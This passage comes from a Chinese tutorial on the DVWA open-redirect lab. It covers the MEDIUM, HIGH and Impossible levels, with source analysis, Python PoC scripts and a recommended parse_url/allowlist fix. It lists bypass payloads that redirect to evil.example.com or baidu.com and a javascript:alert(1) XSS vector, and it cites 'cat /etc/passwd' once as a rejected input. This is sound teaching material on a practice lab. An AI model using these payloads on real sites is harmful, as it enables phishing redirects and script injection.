    print("=" * 55)
    print("  Conclusion: MEDIUM blacklist regex is trivially bypassed.")
    print("  //, \\, @, javascript: all bypass the http(s):// filter.")
    print("=" * 55)

if __name__ == "__main__":
    run()

脚本说明

MEDIUM 的脚本在 LOW 的基础上做了三个关键改进------增加 body 捕获、增加 javascript: 判定、引入反斜杠转义

编写逻辑详解

功能模块 说明
login(session) 自动登录 DVWA(带 CSRF token),与 LOW 共用逻辑
set_level(session, level) 切换安全级别到 medium
test_redirect(session, payload, desc) 发送请求并检测是否绕过正则黑名单
检测逻辑 检查是否返回 302 重定向(绕过成功)或 500(被拦截)
反检测策略 \\\\evil.example.com(Python 字符串中转义后为 \\evil.example.com),避免 URL 规范化

(1)与 LOW 脚本的区别------增加 body 捕获

python 复制代码
body = r.text[:80].replace("\n"," ").strip() if status >= 400 else ""

LOW 级别只返回 302 或 500,500 的响应体是固定的 Missing redirect target.,不需要特别展示。MEDIUM 级别有两种 500:参数空时返回 Missing redirect target.,绝对 URL 被拦时返回 Absolute URLs not allowed.------这两条消息不同,必须抓取 body 才能区分"被哪种检查拦了"。[:80] 截断是为了防止错误页面 HTML 过长污染输出。

(2)判定逻辑的扩展------增加 javascript: 伪协议识别

python 复制代码
if status == 302 and "evil" in str(location):
    print(f"    Verdict : BYPASS - Open redirect to external site!")
elif status == 302 and "javascript" in str(location).lower():
    print(f"    Verdict : BYPASS - javascript: scheme (potential XSS)")
elif status == 302:
    print(f"    Verdict : Safe (intra-site)")
else:
    print(f"    Verdict : Blocked ({status})")

LOW 的判定只有"evil in location"和"其他"两类。MEDIUM 增加了 javascript: 的独立判定------因为 redirect=javascript:alert(1) 返回的 Location: javascript:alert(1) 不含 evil 字样,如果沿用 LOW 的判定逻辑会被归为 Safe (intra-site),误导读者以为它是正常跳转。实际上这是从开放重定向升级为 XSS 的交叉发现,需要单独标注。

(3)反斜杠 payload 的转义设计------踩坑 ③ 的脚本层面解决方案

python 复制代码
# Python 源码中写四个反斜杠
test_redirect(session, "\\\\evil.example.com", "Backslash bypass")

为什么 Python 字符串里写 \\\\ 而不是 \\?因为 Python 字符串中 \\ 转义后是一个反斜杠 \,四个 \\\\ 转义后是两个反斜杠 \\------这正是我们要发送给服务端的 payload。如果只写 \\,Python 转义后只有一个 \,服务端收到的是 \evil.example.com,与测试目的不符。

这个转义设计直接解决了踩坑 ③ 中提到的"浏览器地址栏自动将 \\ 规范化为 //"的问题------Python requests 库不做 URL 规范化(不像浏览器那样自动修正 \\//),所以 \\\\ 会被原样发送到服务端,确保测试的是真正的"反斜杠绕过"而非变相的"协议相对 URL 绕过"。

(4)测试矩阵的设计逻辑------从"验证有无"升级为"验证绕过"

python 复制代码
test_redirect(session, "info.php?id=1", "Normal (baseline)")             # 1. 基线
test_redirect(session, "https://evil.example.com", "Absolute URL (blocked)") # 2. 确认拦截
test_redirect(session, "//evil.example.com", "Protocol-relative bypass")     # 3. 核心绕过
test_redirect(session, "\\\\evil.example.com", "Backslash bypass")          # 4. 分隔符变体
test_redirect(session, "info.php@evil.example.com", "Userinfo bypass")       # 5. URL 结构变体
test_redirect(session, "javascript:alert(1)", "javascript: scheme")        # 6. 伪协议变体

MEDIUM 的测试矩阵比 LOW 多了两层逻辑:

  • 步骤 2(确认拦截) :先验证防护确实生效------https://evil.example.com 被拦了,说明正则在工作。如果这步都拦不住,后面"绕过"就无从谈起
  • 步骤 3-6(绕过矩阵) :按 URL 的不同结构部位系统枚举绕过------协议(//)、分隔符(\\)、用户信息(@)、伪协议(javascript:)。这不是随机 fuzzing,而是按 RFC 3986 定义的 URL 结构系统枚举------每个 payload 对应 URL 规范的一个"边界情况"

6、AI视角下的开放重定向检测

AI 自动化检测:黑名单绕过的自动化推理

MEDIUM 级别是 AI 自动化检测中最有趣的级别------它不是"有没有防护"的问题(LOW 已经回答了),而是"这个防护够不够"的问题。AI 需要回答的核心问题是:给定一个正则黑名单,哪些输入格式能绕过它?

(1)AI 推理链与分类化绕过策略

AI 读取 MEDIUM 源码后,首先提取正则模式 /http:\/\/|https:\/\//i,然后自动推理:

  1. 模式覆盖分析 :正则匹配 http://https:// 两种前缀,大小写不敏感
  2. 缺口识别 :浏览器还接受哪些不以 http(s):// 开头但能到达外部站点的 URL 格式?
  3. 候选生成:基于 URL 规范(RFC 3986)和浏览器实现差异,生成候选 payload
  4. 自动验证:逐个发送请求,检查 302 + 外部域

关键 AI 推理:协议相对 URL 的发现 ------AI 知道 RFC 3986 定义了"网络路径引用"(Network Path Reference):以 // 开头的 URL 会继承当前页面的协议。因此 //evil.comhttp://dvwa.cc 的上下文中等价于 http://evil.com,但不包含 http:// 字符串。这是正则黑名单的天然缺口。这种推理不需要"试"------AI 在不发送任何请求的情况下就能预测 //evil.com 会绕过正则。实际请求只是验证预测的手段。

AI 不是随机 fuzzing,而是按 URL 解析的语义类别系统性地生成 payload:

类别 原理 Payload
协议省略 去掉 http(s): 只留 // //evil.com
分隔符替换 \ 替换 / \\evil.com
用户信息利用 user@hostuser 可为任意值 info.php@evil.com
伪协议注入 javascript:data: 不被正则匹配 javascript:alert(1)
编码绕过 URL 编码 %2F%2F 绕过字符串匹配 %2F%2Fevil.com

每一类都对应正则的一个具体缺口,AI 的 payload 矩阵就是对这些缺口的系统化枚举。

(2)差分对比与人工审计对比

将 LOW 和 MEDIUM 的结果做差分,AI 能自动提取一个规律:

MEDIUM 相比 LOW,多拦了 http://https:// 两类 payload(2/8),但其余 6 类 payload 在两个级别上的行为完全一致。

这意味着 MEDIUM 的防护增量只有 25%------用一行正则换来了 2 个 payload 的拦截,而攻击面只缩小了 1/4。AI 会据此标注:黑名单策略的投入产出比极低

人工审计 MEDIUM 时,审计员通常只试 //evil.com 一种绕过就下结论。AI 的优势在于不遗漏:它会同时尝试反斜杠、用户信息、伪协议、编码等多种变体,并自动分类哪些是"重定向到外部"(开放重定向),哪些是"执行 JS"(XSS),哪些是"数据 URI 加载"(内容注入)。

7、 MEDIUM级别------小结

MEDIUM 级别通过正则表达式过滤绝对 URL,但存在多种绕过方式:

  • 正则表达式不完整,//evil.com 可绕过
  • \\evil.com 可绕过(反斜杠)
  • info.php@evil.com 可绕过(URL 用户信息)
  • javascript:alert(1) 可绕过(伪协议,升级为 XSS)
  • URL 编码可绕过

MEDIUM 级别的教训是:正则黑名单对 URL 的覆盖永远是不完整的 。RFC 3986 定义的 URL 格式、各浏览器的 URL 解析差异、各种伪协议(javascript:data:file:)构成了一个庞大的攻击面,任何正则都只能覆盖其中一小部分。与其不断扩大正则的匹配范围,不如换成白名单:只允许站内相对路径,或者像 Impossible 那样用服务端 ID 映射。黑名单是在跟无穷的边界情况赛跑,白名单则是直接关闭赛道。

一句话总结:MEDIUM 级别的过滤是一种弱防护,攻击者可通过多种方式绕过。

四、HIGH 级别 ------ 检查是否包含 info.php

1、 漏洞描述

HIGH 级别引入了白名单思路------要求 redirect 参数中必须包含 info.php 字符串。然而实现方式是 PHP 的 strpos() 函数,只做子串匹配 而非路径前缀匹配或完整 URL 解析。攻击者只要在任意位置插入 info.php 字符串即可绕过:外部 URL 后面加 ?info.php、路径中包含 /info.php、用户信息部分包含 info.php@ 等。

核心机制

  • 使用 strpos() 检查 redirect 参数是否包含 info.php
  • 如果包含,执行重定向
  • 如果不包含,返回错误

核心问题

  • strpos() 只检查字符串是否包含 info.php,未验证路径有效性
  • 子串匹配 ≠ 路径前缀匹配,不是真正的白名单
  • 攻击者可以通过查询参数、路径、用户信息、路径遍历绕过

2、查看网页源代码

php 复制代码
<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (strpos($_GET['redirect'], "info.php") !== false) {
        header ("location: " . $_GET['redirect']);
        exit;
    } else {
        http_response_code (500);
        ?>
        <p>You can only redirect to the info page.</p>
        <?php
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

3、分析网页源代码

(1)代码概述

HIGH 级别在 MEDIUM 级别的基础上改用了字符串包含检查(黑名单 → 白名单思路):

代码 作用
4 if (strpos($_GET['redirect'], "info.php") !== false) 检查是否包含 info.php 子串
5-6 header("location: " . $_GET['redirect']); exit; 包含则放行
8-11 http_response_code(500); ... "You can only redirect..." 不包含则拦截

逻辑流程:

  • 检查 redirect 参数是否存在
  • 使用 strpos() 检查是否包含 info.php
  • 如果包含,执行重定向
  • 如果不包含,返回错误页面

关键区别:strpos vs substr vs parse_url

函数 匹配方式 安全性
strpos($input, "info.php") 子串匹配------在输入的任意位置出现即可 ❌ 可绕过
substr($input, 0, 8) === "info.php" 前缀匹配------只允许输入 info.php 开头 ⚠️ 仍有局限但更难绕过
parse_url($input, PHP_URL_PATH) === "info.php" URL 解析后路径匹配 ✅ 正确做法
switch + ID 映射 服务端完全控制 ✅ 最佳(Impossible 实现)

(2)漏洞分析

① 漏洞一 ------ strpos() 的局限

问题分析strpos() 只检查字符串是否包含 info.php,不验证路径的有效性。strpos("https://evil.com?info.php", "info.php") 返回 true,因为 info.php 作为查询参数出现在了 URL 中------但它不是路径,只是查询字符串的一部分。白名单本意是"只允许跳转到 info.php 页面",实际变成了"只要 URL 里某个位置有 info.php 这几个字符就行"。

② 漏洞二 ------ 查询参数注入绕过

问题分析 :攻击者可以在外部 URL 后追加 ?info.php 作为查询参数,strpos 匹配到 info.php 子串,放行。

③ 漏洞三 ------ 路径、用户信息、遍历绕过

问题分析info.php 可以出现在 URL 的多个部位,strpos 都会匹配:

Payload info.php 的位置 浏览器实际跳转
https://evil.com?info.php 查询参数 evil.com
https://evil.com/info.php 路径 evil.com/info.php
info.php@evil.com URL 用户信息 evil.com
info.php/../../evil.com 路径前缀 + 遍历 evil.com(浏览器解析 ../ 后)

对比 MEDIUM 的改进与不足 :HIGH 成功拦住了 MEDIUM 的 //evil.com\\evil.com(因为不含 info.php),也拦住了 javascript:data: 伪协议。但引入了新的攻击面:任何外部 URL 只要追加 ?info.php 就能通过白名单。这是典型的"拆东墙补西墙"------堵住了协议绕过,却打开了查询参数绕过。

四类绕过的 Payload 汇总

Payload 是否通过 结果
info.php ✅ 通过 正常重定向
info.php?url=http://evil.com ✅ 通过 绕过!
info.php#http://evil.com ✅ 通过 绕过!
http://evil.com/info.php ✅ 通过 绕过!

4、操作步骤

(1)正常重定向基线

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=info.php?id=1

预期结果 :浏览器跳转到 info.php?id=1info.php?id=1 包含 info.php 子串,放行。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/high.php?redirect=info.php?id=1
跳转后 URL: .../source/info.php?id=1
页面标题: Vulnerability: Open HTTP Redirect :: DVWA

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: info.php?id=1

正常行为符合预期。

(2)纯外部 URL 被拦截

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com

预期结果 :服务端返回 500 错误,显示 You can only redirect to the info page.https://www.baidu.com 不含 info.php,拦截成功。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/high.php?redirect=https://www.baidu.com
跳转后 URL: .../source/high.php?redirect=https://www.baidu.com  ← URL 未变
页面内容: "You can only redirect to the info page."  ← HIGH 级别的拦截提示
浏览器标签页标题: (空)  ← 页面无 HTML <title>,标签页显示空白

实测结果(HTTP 层):

text 复制代码
Status  : 500
Location: (none)
Body    : <p>You can only redirect to the info page.</p>

https://www.baidu.com 不含 info.php,拦截成功。

(3)查询参数绕过

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com?info.php

预期结果 :服务端返回 302 Location: https://www.baidu.com?info.php,浏览器跳转到百度首页。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/high.php?redirect=https://www.baidu.com?info.php
跳转后 URL: https://www.baidu.com/?info.php
页面标题: 百度一下,你就知道

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: https://www.baidu.com?info.php

https://www.baidu.com?info.php 包含 info.php 子串(在查询参数位置),strpos 返回非 false,放行。浏览器跳转到 https://www.baidu.com?info.php------百度首页(?info.php 作为查询参数被百度忽略)。

踩坑 ⑤:URL 中有两个 ?,浏览器和 Python requests 的处理方式不同

这个 URL 有两个 ?:第一个 ? 分隔 DVWA 的 redirect= 参数和它的值,第二个 ?baidu.com URL 自身的查询分隔符。

  • Python requests :自动将第二个 ? 编码为 %3F,服务端收到的 redirect 值是完整的 https://www.baidu.com?info.php
  • 浏览器地址栏 :直接输入时浏览器也能正确处理------第一个 ? 是 URL 查询参数分隔符,第二个 ? 作为 redirect 值的一部分传递
  • 实测中浏览器成功跳转到百度首页,说明两个 ? 都被正确处理了

(4)路径包含绕过

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com/info.php

预期结果 :服务端返回 302 Location: https://www.baidu.com/info.phpinfo.php 出现在路径部分,strpos 匹配成功,放行。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/high.php?redirect=https://www.baidu.com/info.php
跳转后 URL: https://www.baidu.com/forbiddenip/forbidden.html
页面标题: 您访问的页面不存在!

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: https://www.baidu.com/info.php

info.php 出现在路径部分,strpos 匹配成功,放行。浏览器跳转到 https://www.baidu.com/info.php------百度服务器上 /info.php 路径不存在,返回了 404 重定向页面。

踩坑 ⑥:百度服务器对不存在路径返回 404 重定向,不影响开放重定向的判定

跳转后 URL 变成了 https://www.baidu.com/forbiddenip/forbidden.html,页面标题"您访问的页面不存在!"。这可能让读者误以为绕过失败了。实际上:服务端确实返回了 302 Location: https://www.baidu.com/info.php,浏览器确实跳转到了外部域 baidu.com------只是那个路径不存在。用 www.baidu.com?info.php(步骤 3)做演示效果更好,因为百度首页存在,跳转后能看到正常页面。

(5)URL 用户信息绕过

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=info.php@evil.example.com

预期结果 :服务端返回 302 Location: info.php@evil.example.comstrpos 匹配到 info.php 子串,HTTP 层绕过成功。注意:浏览器层可能将此 URL 当作相对路径处理,不跳转到外部域(详见下方踩坑 ④)。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/high.php?redirect=info.php@evil.example.com
跳转后 URL: .../source/info.php@evil.example.com  ← 被当作相对路径!
页面内容: "Missing quote ID."  ← info.php 收到奇怪参数 id=evil.example.com 报错

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: info.php@evil.example.com

踩坑 ④(续):同 MEDIUM 步骤 5,URL 用户信息绕过在浏览器层不跳转到外部域。

服务端返回 302 Location: info.php@evil.example.com------strpos 匹配到 info.php 子串,HTTP 层绕过成功。但浏览器将 info.php@evil.example.com 当作相对路径处理 (因为它不以 /http(s):// 开头),解析为 http://dvwa.cc/.../source/info.php@evil.example.com,而不是跳转到 evil.example.com。浏览器不会解析 URL 用户信息格式 user@host,它只是把整串 info.php@evil.example.com 当作一个相对路径名处理。

在 HIGH 级别中,这个 payload 的独特价值在于:它同时穿透了 MEDIUM 和 HIGH 两层不同原理的防护------

  • MEDIUM 正则 /http:\/\/|https:\/\//i 不匹配 info.php@evil.example.com(不含 http(s)://)→ 绕过
  • HIGH strpos($input, "info.php") 匹配到 info.php 子串 → 放行

同一个 payload,在两个级别上以不同的原因绕过防护。这不是巧合------它说明两层防护都有"字符串匹配"这个共同短板:MEDIUM 检查"不含危险协议",HIGH 检查"包含白名单子串",但两者都不理解 URL 的语义结构。多层叠加的字符串匹配 ≠ 多层防护,每层都可能被同一 payload 从语义层面穿透。

(6)路径遍历绕过

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=info.php/../../evil.example.com

预期结果 :服务端返回 302 Location: info.php/../../evil.example.cominfo.php 在路径开头,strpos 匹配,HTTP 层绕过成功。注意:浏览器层不会跳转到外部域------详见下方踩坑。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/high.php?redirect=info.php/../../evil.example.com
跳转后 URL: .../vulnerabilities/open_redirect/evil.example.com  ← ../../遍历到父目录
页面内容: "404 Not Found" (nginx)  ← evil.example.com 被当作站内路径段,不是外部主机

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: info.php/../../evil.example.com

踩坑 ⑦:路径遍历 payload 的浏览器层效果与预期不同

原以为浏览器解析 ../ 后会把 evil.example.com 当作主机名跳转到外部域,实际上浏览器的 URL 解析逻辑是:info.php/../../evil.example.com 不以 /http(s):// 开头,整串被当作相对路径../ 的效果只是路径层级上溯(source/info.php/../../open_redirect/),最终变成 open_redirect/evil.example.com------evil.example.com 被当作路径段 而非主机名。所以浏览器停在了 dvwa.cc/vulnerabilities/open_redirect/evil.example.com(404),而不是 evil.example.com

这意味着:这个 payload 只在 HTTP 层绕过strpos 匹配到 info.php,返回 302),但浏览器层不产生外部跳转 ------和 MEDIUM 步骤 5、HIGH 步骤 5 的用户信息绕过类似。HIGH 级别四个绕过 payload 中,只有查询参数绕过 (步骤 3)和路径包含绕过(步骤 4)能在浏览器层真正跳转到外部域。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
"""
DVWA Open HTTP Redirect - HIGH Level PoC
验证: 子串白名单 + 四类绕过(查询参数/路径/用户信息/遍历)
"""

import requests
import re
import sys

BASE_URL = "http://dvwa.cc"
USERNAME = "gordonb"
PASSWORD = "abc123"

def login(session):
    r = session.get(f"{BASE_URL}/login.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    token_val = token.group(1) if token else ""
    r = session.post(f"{BASE_URL}/login.php", data={
        "username": USERNAME, "password": PASSWORD,
        "user_token": token_val, "Login": "Login"
    }, timeout=10, allow_redirects=False)
    return r.status_code in (302, 200)

def set_level(session, level):
    session.cookies.set("security", level, domain="dvwa.cc")
    r = session.get(f"{BASE_URL}/security.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    token_val = token.group(1) if token else ""
    session.post(f"{BASE_URL}/security.php", data={
        "security": level, "seclev_submit": "Submit",
        "user_token": token_val
    }, timeout=10)
    return session.cookies.get("security") == level

def test_redirect(session, payload, desc):
    url = f"{BASE_URL}/vulnerabilities/open_redirect/source/high.php?redirect={payload}"
    r = session.get(url, timeout=10, allow_redirects=False)
    status = r.status_code
    location = r.headers.get("Location", "(none)")
    body = r.text[:80].replace("\n"," ").strip() if status >= 400 else ""
    print(f"  [{desc}]")
    print(f"    Payload : redirect={payload}")
    print(f"    Status  : {status}")
    print(f"    Location: {location}")
    if body:
        print(f"    Body    : {body}")
    if status == 302 and "evil" in str(location):
        print(f"    Verdict : BYPASS - Open redirect to external site!")
    elif status == 302:
        print(f"    Verdict : Safe (intra-site)")
    else:
        print(f"    Verdict : Blocked ({status})")
    print()
    return status, location

def run():
    session = requests.Session()
    print("=" * 55)
    print("  HIGH Level - Substring Whitelist Bypass PoC")
    print("=" * 55)

    if not login(session):
        print("  [FAIL] Login failed")
        sys.exit(1)
    print("  [OK] Login successful (gordonb)")

    if not set_level(session, "high"):
        print("  [WARN] Level set failed")
    else:
        print("  [OK] Security level: high")
    print()

    # 1. 正常重定向
    test_redirect(session, "info.php?id=1", "Normal (baseline)")

    # 2. 纯外部URL被拦截
    test_redirect(session, "https://evil.example.com", "Pure external (blocked)")

    # 3. 查询参数绕过
    test_redirect(session, "https://evil.example.com?info.php", "Query param bypass")

    # 4. 路径包含绕过
    test_redirect(session, "https://evil.example.com/info.php", "Path bypass")

    # 5. URL用户信息绕过
    test_redirect(session, "info.php@evil.example.com", "Userinfo bypass")

    # 6. 路径遍历绕过
    test_redirect(session, "info.php/../../evil.example.com", "Path traversal bypass")

    print("=" * 55)
    print("  Conclusion: HIGH strpos() substring match is bypassed")
    print("  by inserting 'info.php' anywhere in the URL.")
    print("=" * 55)

if __name__ == "__main__":
    run()

脚本说明

HIGH 的脚本沿用 MEDIUM 的 test_redirect 函数结构,但测试矩阵完全重新设计 ------从"枚举 URL 格式变体"转为"在 URL 的不同部位插入 info.php 子串"。

编写逻辑详解

功能模块 说明
login(session) 自动登录 DVWA(带 CSRF token),与 LOW/MEDIUM 共用逻辑
set_level(session, level) 切换安全级别到 high
test_redirect(session, payload, desc) 发送请求并检测是否绕过 strpos 子串匹配
检测逻辑 检查 302 + Location 中是否包含 evil(绕过成功)或 500(被拦截)
测试矩阵 6 种 payload:正常基线 + 纯外部 URL + 四类绕过

(1)判定逻辑------与 MEDIUM 的关键区别

python 复制代码
if status == 302 and "evil" in str(location):
    print(f"    Verdict : BYPASS - Open redirect to external site!")
elif status == 302:
    print(f"    Verdict : Safe (intra-site)")
else:
    print(f"    Verdict : Blocked ({status})")

HIGH 去掉了 MEDIUM 中的 javascript: 判定分支------因为 HIGH 的 strpos 检查 info.php 子串,javascript:alert(1) 不含 info.php,会被直接拦截返回 500,不会出现 302 + javascript: 的情况。判定逻辑回归到最简版本:302 + evil = 绕过,其他 = 拦截。

(2)测试矩阵的设计逻辑------按 URL 部位枚举

python 复制代码
test_redirect(session, "info.php?id=1", "Normal (baseline)")                    # 1. 基线
test_redirect(session, "https://evil.example.com", "Pure external (blocked)")    # 2. 确认拦截
test_redirect(session, "https://evil.example.com?info.php", "Query param bypass")  # 3. 查询参数
test_redirect(session, "https://evil.example.com/info.php", "Path bypass")          # 4. 路径
test_redirect(session, "info.php@evil.example.com", "Userinfo bypass")               # 5. 用户信息
test_redirect(session, "info.php/../../evil.example.com", "Path traversal bypass")   # 6. 路径遍历

HIGH 的测试矩阵设计思路与 MEDIUM 根本不同------MEDIUM 是"尝试不同的 URL 格式绕过正则",HIGH 是"在 URL 的不同部位插入白名单关键字绕过 strpos"。设计依据来自 RFC 3986 定义的 URL 六个组成部分:

URL 部位 示例 payload info.php 在哪里
查询参数 https://evil.com?info.php ? 后面的查询字符串
路径 https://evil.com/info.php URL 路径部分
用户信息 info.php@evil.com @ 前面的用户信息
路径遍历 info.php/../../evil.com 路径开头 + ../ 遍历

每个 payload 对应 URL 的一个特定部位------strpos 不区分部位,只要字符串中出现 info.php 就放行,所以在任意部位插入都能绕过。脚本的设计就是系统枚举这些部位,验证"strpos 的子串匹配在所有 URL 部位都可被绕过"这一假设。

(3)踩坑 ⑤ 在脚本中的体现------两个 ? 的处理

python 复制代码
test_redirect(session, "https://evil.example.com?info.php", "Query param bypass")

这个 payload 中有两个 ?:第一个 ? 是 DVWA 的 redirect= 参数分隔符,第二个 ?evil.example.com URL 自身的查询分隔符。Python requests 库在构造 URL 时会自动处理这种情况------第一个 ? 之后的内容作为 redirect 参数的值整体传递,服务端 $_GET['redirect'] 收到的是完整的 https://evil.example.com?info.php。这和浏览器地址栏的行为一致(实测确认浏览器也正确处理了双 ?),但与手动构造 URL 时的直觉不同------容易误以为第二个 ? 会截断参数。

6、AI视角下的开放重定向检测

AI 自动化检测:从子串匹配到 URL 语义解析

HIGH 级别是 AI 展示"语义理解 vs 字符串匹配"差异的最佳场景。PHP 的 strpos 在做字符串匹配,而浏览器在做 URL 解析------两者之间的语义鸿沟就是漏洞所在。

(1)AI 推理链与函数级安全分析

AI 读取 strpos($_GET['redirect'], "info.php") 后,推理过程如下:

  1. 函数语义分析strpos 返回子串在目标字符串中首次出现的位置,不限定位置------可以是开头、中间、末尾
  2. 安全意图推断 :白名单意图是"只允许跳转到 info.php 页面",即 redirect路径部分 应为 info.php
  3. 缺口识别strpos 匹配的是整个字符串中的任意位置,不区分 URL 的结构部分(scheme、host、path、query、fragment)
  4. 攻击面枚举 :在 URL 的哪些位置可以放置 info.php 字符串而不影响跳转目标?
URL 部位 示例 strpos 匹配 浏览器跳转
查询参数 https://evil.com?info.php evil.com
路径 https://evil.com/info.php evil.com/info.php
用户信息 info.php@evil.com evil.com
Fragment https://evil.com#info.php evil.com
路径遍历 info.php/../../evil.com evil.com
  1. 自动生成 payload :AI 不需要"灵感",URL 规范(RFC 3986)明确定义了 URL 的六个组成部分,AI 只需在每个部分尝试插入 info.php 即可系统性枚举所有绕过路径。

AI 对 PHP 函数的安全评估有一套分类体系:

函数 匹配类型 安全等级 典型误用
strpos 任意位置子串 ❌ 最弱 HIGH 级别
substr + === 前缀匹配 ⚠️ 中等 仍可被 info.php@evil.com 绕过
parse_url + path 比较 URL 结构匹配 ✅ 正确 Impossible 级别的思路
switch + ID 映射 服务端完全控制 ✅ 最佳 Impossible 级别的实现

AI 在审计代码时,看到 strpos 就标注"子串匹配,需验证输入的 URL 结构";看到 parse_url 就标注"URL 解析,检查 path 部分";看到 switch 就标注"服务端白名单,安全"。这种函数级分类是 AI 代码审计的核心能力。

(2)AI 的组合绕过发现与修复建议生成

HIGH 级别有一个容易被忽略的发现:info.php@evil.example.com 这个 payload 同时穿透了 MEDIUM(正则不匹配 http(s)://)和 HIGH(strpos 匹配到 info.php)两层防护。AI 在差分对比矩阵中能自动识别这种"跨级别通杀 payload":

text 复制代码
Payload                  LOW    MEDIUM    HIGH    Impossible
info.php@evil.com        ❌     ❌        ❌      🔒

跨级别通杀 payload 的存在说明:叠加多层弱防护不等于一层强防护 。MEDIUM 的正则 + HIGH 的子串 = 两层都是字符串匹配,都不理解 URL 语义,被同一个语义层面的 payload 一起穿透。AI 会据此生成一条防御建议:将字符串匹配替换为 URL 结构解析(parse_url),而非在字符串匹配的基础上叠加更多字符串匹配

AI 不会只说"这里有漏洞",它会给出可落地的修复代码:

php 复制代码
// HIGH 级别的不安全写法
if (strpos($_GET['redirect'], "info.php") !== false) {
    header("location: " . $_GET['redirect']);
}

// AI 建议的安全写法
$parsed = parse_url($_GET['redirect']);
if ($parsed !== false && 
    !isset($parsed['host']) &&    // 不含 host = 非外部 URL
    isset($parsed['path']) && 
    $parsed['path'] === 'info.php') {  // 路径精确匹配
    header("location: " . $_GET['redirect']);
}

这种修复建议不是"多加几个 if",而是从"字符串匹配"升级到"URL 结构解析"------防护范式从字符串层提升到了语义层。

7、 HIGH级别------小结

HIGH 级别使用 strpos() 检查 info.php,但仍可被绕过:

  • info.php?url=http://evil.com 可绕过(查询参数)
  • https://evil.com?info.php 可绕过(查询参数位置)
  • https://evil.com/info.php 可绕过(路径位置)
  • info.php@evil.com 可绕过(用户信息位置,同时穿透 MEDIUM 和 HIGH)
  • info.php/../../evil.com 可绕过(路径遍历)
  • strpos() 只检查是否包含,不验证路径有效性

HIGH 级别的教训是:白名单的意图是对的,但实现方式决定了安全等级strpos 做的是字符串层面的子串匹配,而开放重定向的防护需要在 URL 语义层面做路径匹配。strpos("https://evil.com?info.php", "info.php") 返回 true,但这个 info.php 是查询参数不是路径------函数"正确"地执行了它的设计(子串查找),但它的设计不适合这个安全场景。不是函数用错了,是选错了函数

一句话总结:HIGH 级别的包含检查是一种弱验证,攻击者可通过参数注入或外部 URL 绕过。

五、Impossible 级别 ------ 白名单验证

1、漏洞描述

Impossible 级别采用了白名单验证策略,从根本上杜绝了开放重定向漏洞。它通过服务端硬编码的方式,将用户输入的数字 ID 映射到预定义的合法 URL,用户输入从不直接接触 Location 头。

核心安全改进

  • 参数类型验证 :使用 is_numeric() 验证 redirect 参数是否为数字
  • 类型强制转换intval() 强制转为整数,防类型混淆
  • 白名单映射switch 语句将数字 ID 映射到预定义的合法 URL
  • 服务端控制目标$target 的值由服务端硬编码,用户无法干预
  • 拒绝所有其他输入:任何不在白名单中的值都被拒绝

2、查看网页源代码

php 复制代码
<?php

$target = "";

if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
    switch (intval ($_GET['redirect'])) {
        case 1:
            $target = "info.php?id=1";
            break;
        case 2:
            $target = "info.php?id=2";
            break;
        case 99:
            $target = "https://digi.ninja";
            break;
    }
    if ($target != "") {
        header ("location: " . $target);
        exit;
    } else {
        ?>
        Unknown redirect target.
        <?php
        exit;
    }
}

?>
Missing redirect target.

3、分析网页源代码

(1)代码概述

Impossible 级别采用了白名单验证策略,四层防护的叠加:

代码 防护内容
① 输入验证 is_numeric($_GET['redirect']) 只接受数字,拒绝一切 URL/字符串
② 类型转换 intval($_GET['redirect']) 强制转为整数,防类型混淆
③ 白名单映射 switch (intval(...)) { case 1: ...; case 2: ...; } 只允许 ID 1/2/99,其余不匹配
④ 服务端控制 $target = "info.php?id=1" 目标 URL 由服务端硬编码,用户无法干预

逻辑流程:

  • 检查 redirect 参数是否存在且为数字(is_numeric()
  • 使用 switch 语句将数字 ID 映射到预定义的 URL
  • 白名单包含:info.php?id=1info.php?id=2https://digi.ninja
  • 任何不在白名单中的值都被拒绝
  • 关键设计:用户输入从不直接接触 Location

关键设计对比

  • LOW 的 header("location: " . $_GET['redirect'])------用户输入直接拼入 Location。
  • Impossible 的 header("location: " . $target)------用户输入(数字 ID)只用于 switch 选择,$target 的值由服务端代码硬编码。即使用户传入 redirect=1; cat /etc/passwdis_numeric 会拒绝它;即使传入 redirect=1intval 转为 1switch 匹配 case 1$target 被赋值为 "info.php?id=1"------用户对 Location 头的值没有任何控制权。

(2)安全分析(无漏洞,但需理解设计)

① 设计要点 ------ redirect=99 的特殊白名单

php 复制代码
case 99:
    $target = "https://digi.ninja";
    break;

ID 99 跳转到 https://digi.ninja(DVWA 作者 Robin Wood 的网站)。这不是漏洞,而是作者刻意保留的白名单条目------演示"即使需要外部跳转,也应通过服务端白名单映射实现,而非让用户直接传 URL"。白名单中的外部跳转是安全的,因为跳转目标是开发者明确允许的,不是用户可控的。

② 设计要点 ------ 非法输入返回 HTTP 200 而非 500

输入 is_numeric switch 匹配 结果
1 ✅ true case 1 302 → info.php?id=1
2 ✅ true case 2 302 → info.php?id=2
99 ✅ true case 99 302 → https://digi.ninja
100 ✅ true 无匹配 200 "Unknown redirect target."
